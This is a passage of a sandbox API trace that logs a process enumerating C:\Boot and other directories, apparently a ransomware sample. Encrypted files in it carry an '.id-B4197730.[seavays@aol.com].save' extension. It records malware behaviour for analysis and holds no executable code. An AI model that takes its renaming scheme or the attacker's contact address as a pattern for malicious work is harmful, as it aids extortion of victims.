lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xc1d9ee8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~1.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xb500891, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~2.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xd8ccbac, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~3.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 0 [0159.231] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0159.231] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.232] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0159.232] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0159.232] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName=".", cAlternateFileName="")) returned 0x72a448 [0159.233] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="..", cAlternateFileName="")) returned 1 [0159.234] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="BCD", cAlternateFileName="")) returned 1 [0159.234] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0159.234] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0159.234] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0159.235] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0159.235] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.235] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532480 [0159.236] FindNextFileW (in: hFindFile=0x4532480, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x4532480, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x4532480, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0159.237] FindClose (in: hFindFile=0x4532480 | out: hFindFile=0x4532480) returned 1 [0159.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.237] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0159.237] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96f5265, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x96f5265, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96f5265, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save", cAlternateFileName="BOOTST~1.SAV")) returned 1 [0159.238] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0159.238] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0159.238] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0159.238] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c00 [0159.239] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.239] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0159.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.249] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.253] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.253] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.254] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.254] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.258] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.265] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.266] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.552] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.560] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.563] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.569] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.572] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.574] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0159.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: 